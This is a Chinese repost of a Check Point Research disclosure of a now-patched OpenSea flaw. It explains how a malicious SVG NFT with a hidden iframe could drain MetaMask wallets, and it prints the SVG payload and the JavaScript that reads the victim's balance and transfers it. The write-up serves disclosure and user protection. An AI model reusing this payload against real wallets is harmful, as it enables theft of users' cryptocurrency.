OpenSea漏洞使黑客可以从钱包中窃取加密货币

OpenSea漏洞使黑客可以从钱包中窃取加密货币

OpenSea简介及相关背景

OpenSea 是世界上最大的非同质代币 ( NFT ) 市场,其中一个现已修补的严重漏洞可能已被黑客滥用,通过发送特制的代币从受害者身上抽走加密货币资金。

调查结果来自网络安全公司 Check Point Research,该公司在公开报道称免费空投 NFT 触发了加密货币钱包被盗后,开始对该平台进行调查。这些问题在 2021 年 9 月 26 日的负责任披露不到一小时内得到解决。

OpenSea漏洞使黑客可以从钱包中窃取加密货币
opensea官网截图

漏洞详情

在过去的几周里,Check Point 研究人员发现了各种案例,人们在推特上发布报告声称他们丢失了加密钱包余额,同时在 OpenSea 市场上收到了免费礼物。
OpenSea 是最大的数字收藏品市场,是加密收藏品和不可替代代币(又名 NFT)的点对点市场。
OpeanSea仅在 2021 年 8 月就记录了 34 亿美元的交易量,并且已经发展成为加密世界不可替代代币的最大市场
由于加密货币不受全球许多国家/地区的监管,因此消费者钱包成为黑客的一个有吸引力的目标
近日,多家媒体报道浮出水面,声称商家的数字钱包消失了,让收藏家损失了价值数十万美元的 NFT。
报告推测,当您收到陌生人的免费礼物或 OpenSea 艺术链接时,可能会被攻击:

报告进一步推测,通过接受礼物或点击 OpenSea 的链接,接收者会丢失他所有的加密货币。
这样的例子,以及其他在这个市场上报告不同骗局的例子,促使我们的研究人员在平台内寻找(并找到!)漏洞,这可能允许诈骗者和黑客劫持账户并从数字钱包中窃取加密货币。
在 CPR 后来与一名受害者进行的通信中,他确认在帐户被盗之前与空投的 NFT 对象进行了交互。
Check Point 研究人员负责任地向 OpenSea 披露了这些漏洞,OpenSea 立即实施了修复程序以缓解这些漏洞。

漏洞朔源

注册

为了在 OpenSea 上拥有一个帐户,您必须在常规网站中连接第三方加密钱包,例如 auth0 与 Google 或 Facebook。

OpenSea漏洞使黑客可以从钱包中窃取加密货币

默认钱包和最受欢迎的钱包是MetaMask,所以我们在研究中选择了它,并下载了浏览器扩展程序来打开钱包。

OpenSea漏洞使黑客可以从钱包中窃取加密货币

有了钱包之后,与它的沟通方式就很少了,其中之一就是
与钱包沟通您想要在帐户中执行的任何操作,即使您想要一些简单的事情,例如系统中的艺术:

OpenSea漏洞使黑客可以从钱包中窃取加密货币

你的钱包会弹出。并且您的钱包正在使用 json-rpc 与以太坊网络进行通信,我们将在后面的深入探讨部分进行解释。

OpenSea漏洞使黑客可以从钱包中窃取加密货币

深入探讨

OpenSea 允许任何人创作艺术品并在其市场上出售,艺术品可以是任何以以下扩展名结尾的内容:JPG、PNG、GIF、SVG、MP4、WEBM、MP3、WAV、OGG、GLB、GLTF。最大大小:40 MB

OpenSea漏洞使黑客可以从钱包中窃取加密货币

因此,我们决定检查如果我们创建包含代码的恶意艺术作品(例如 SVG 图像)会发生什么。我们创建了一个简单的 SVG 文件并上传了一个简单的payload,如下所示:

OpenSea漏洞使黑客可以从钱包中窃取加密货币

通过单击艺术作品并在花药选项卡中打开它或单击页面上的链接:

OpenSea漏洞使黑客可以从钱包中窃取加密货币
OpenSea漏洞使黑客可以从钱包中窃取加密货币

我们的 SVG 将在https://storage.opensea.io子域下执行。

此时,我们有一个具有 JavaScript 功能的 SVG 文件,但我们缺少 window.ethereum 对象,该对象仅适用于 html 文件:

为了克服这个问题,我们在 SVG 中添加了 iframe,这将加载另一个 html:

<?xml version="1.0" standalone="no"?>

<!DOCTYPE svg PUBLIC “-//W3C//DTD SVG 1.1//EN” “https://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd”>

<svg version=”1.1″ baseProfile=”full” xmlns=”https://www.w3.org/2000/svg” xmlns:xlink=”https://www.w3.org/1999/xlink”>

<foreignObject x=”10″ y=”10″ width=”800″ height=”800″>

<body xmlns=”https://www.w3.org/1999/xhtml”>

<iframe src=”https://storage.opensea.io/files/936762164367baa4353e00ccefbdb28f.html” style=”width:0;height:0″></iframe>

</body>

</foreignObject>

</svg>

这将加载我们的paload并将以太坊对象插入页面。

通过这种方式,我们可以将window.ethereum注入到我们的 DOM 中,这将允许我们与 Ethereum JSON-RPC API 进行通信:

OpenSea漏洞使黑客可以从钱包中窃取加密货币

接下来,我们必须学习以太坊 RPC-API 才能滥用钱包功能,这里是参考链接:

https://eth.wiki/json-rpc/API

为了首先劫持货币,攻击者需要打开与钱包的通信:

window.ethereum.enable()

此 rpc-api 操作将启动通信 MetaMask 并弹出窗口:

OpenSea漏洞使黑客可以从钱包中窃取加密货币

然后连接

OpenSea漏洞使黑客可以从钱包中窃取加密货币

一旦受害者点击它签署交易,我们将能够继续我们的行动。

一旦用户点击弹出窗口,黑客就能够读取受害者在钱包上提供的信息,并代表受害者执行操作。

如果黑客想获得钱包里的钱,额外的

弹出签名请求。

需要注意的是,钱包签名弹窗通常以系统通知的形式出现,是创建多个活动的标准平台流程。在这种情况下,如果用户没有仔细阅读弹出窗口,他们可能会在不知情的情况下基于相同的已知过程启用对他们帐户(及其中的钱)的访问。

用户应该非常了解他们在 OpenSea 以及其他 NFT 平台上签名的内容,以及它是否与预期的操作相关。

在我们的攻击场景中,用户在点击从第三方收到的图像后被要求用他们的钱包签名,这是 OpenSea 上的意外行为,因为它与 OpenSea 平台提供的服务无关,例如购买物品、制作一个提议,或偏爱一个项目。

但是,由于交易操作域来自OpenSea本身,并且由于这是受害者通常在上述其他NFT操作中获得的操作,因此可能会导致他批准连接。

攻击者获得访问权限后,他需要检索钱包地址,然后是余额。

ethereum.request({ method: ‘eth_accounts’ }).then(function(accounts){
      ethereum.request({ method: ‘eth_getBalance’, params: [accounts[0], “latest”], “id”: 1}).then(function(balance){

send_transaction(accounts[0], balance)

      });

});

他可以使用send_transaction函数简单地将所有货币转移到他的账户。

此函数将弹出另一个签名请求,以代表我们之前提到的受害者执行新操作。

钱包签名弹出窗口是一个标准的平台流程。

通过定期签署,用户在不知不觉中使盗窃发生

在所有部件运行后,攻击的最后一步是将艺术转移到受害者:

OpenSea漏洞使黑客可以从钱包中窃取加密货币

转移将无缝进行,受害者无需他方采取任何行动即可将艺术品放入他的收藏中。

OpenSea漏洞使黑客可以从钱包中窃取加密货币

然后,如果受害者打开新艺术并按下图像或链接,连接他的钱包并在弹出窗口中签署交易,他将失去所有余额。

受害者有时也可能会看到这个显示汇款的屏幕。

OpenSea漏洞使黑客可以从钱包中窃取加密货币

用户应注意,OpenSea 不会请求钱包批准以查看或单击第三方链接。此类活动非常可疑,用户不应与与 OpenSea 特定操作(例如购买、提供报价、喜欢图像)无关的钱包批准进行交互。

负责任的披露

OpenSea 和 Check Point 合作确保此攻击漏洞现已关闭。
OpenSea 响应并共享包含来自其存储域的iframe 对象的 svg 文件,因此我们可以一起审查它,并确保所有攻击媒介都已关闭。

如何保护自己

在收到在线签名钱包的请求时,您应该始终小心。在您批准请求之前;您应该仔细查看请求的内容,并考虑请求是否异常或可疑。如果您有任何疑问,您应该拒绝该请求并在提供此类授权之前进一步检查。

结论

在 OpenSea 上看到的流量是一个明显的例子,展示了对不可替代代币前所未有的兴趣,不可替代代币是指存储在区块链上且不可互换的数字资产。
Check Point Research 始终致力于始终寻求途径来调查和深入研究流行的技术趋势,并不断寻求使公众获得更安全的体验。
我们很高兴与 OpenSea 团队联络和合作,让 NFT 的增长趋势继续变得更安全和有保障。

转载请注明出处及链接

Leave a Reply

您的电子邮箱地址不会被公开。 必填项已用 * 标注